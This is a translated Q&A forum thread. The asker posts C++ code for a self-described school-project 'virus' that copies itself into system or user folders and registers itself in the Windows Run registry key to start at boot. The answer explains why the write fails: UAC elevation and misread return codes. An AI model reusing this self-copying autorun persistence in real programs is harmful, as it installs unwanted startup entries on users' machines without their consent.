无法写入注册表

时间:2013-10-05 20:24:47

标签: c++ winapi registry virus

我正在为我的学校项目写一个实验性病毒。它应该复制自己,开始自己.. 我从这个article开始,我来到这里:

#include <windows.h>
#include <iostream>
#include <tchar.h>
#include <stdio.h>
using namespace std;

void main()
{
wchar_t system[MAX_PATH];
wchar_t user[MAX_PATH];
wchar_t pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
DWORD  bufSize = MAX_PATH;

GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));

std::wstring s(system);
s += std::wstring(L"\\virus.exe");
WCHAR* sysfull = &s[0];

if(!CopyFile(pathtofile, sysfull, false))
{
    sysfull = L"C:\\Users\\Public\\virus.exe";
    if(!CopyFile(pathtofile, sysfull, false))
    {
        GetUserName(user, &bufSize);
        std::wstring u(L"C:\\Users\\");
        u += std::wstring(user);
        u += std::wstring(L"\\Documents\\virus.exe");
        sysfull = &u[0];
        CopyFile(pathtofile, sysfull, false);
    }
}

HKEY hKey;

bool t = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
bool t1 = RegSetValueEx(hKey, L"Writing to the Registry Example", 0, REG_SZ, (const unsigned char*)sysfull, sizeof(system));
RegCloseKey(hKey);

MessageBox(NULL,L"Hello",L"Messagebox Example",MB_OK);
}

问题是当我查看HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run下的regedit时,没有新密钥。 RegOpenKeyEx和RegSetValueEx返回true,一切似乎工作正常,但事实并非如此,我不知道为什么。

我使用的是Windows 8并使用VS12。

1 个答案:

答案 0 :(得分:1)

Windows Vista及更高版本通过称为UAC的机制阻止对HKEY_LOCAL_MACHINE_KEYC:\Windows等某些敏感位置的写访问权限。如果启用了UAC(默认情况下是这样),默认情况下管理员级用户具有一组减少的权限,程序需要使用称为提升的技术来获得完全管理员权限。或者,您可以通过右键单击菜单以管理员身份启动程序,以便为其提供完全访问权限。

无论哪种方式,在启用UAC的情况下,用户需要在授予权限之前通过对话框批准提升。

RegOpenKeyEx()之类的注册表函数在成功时返回0,在失败时返回错误代码 - 不是true / false。如果您正确检查返回代码,您会看到他们返回的是ERROR_ACCESS_DENIED

相关问题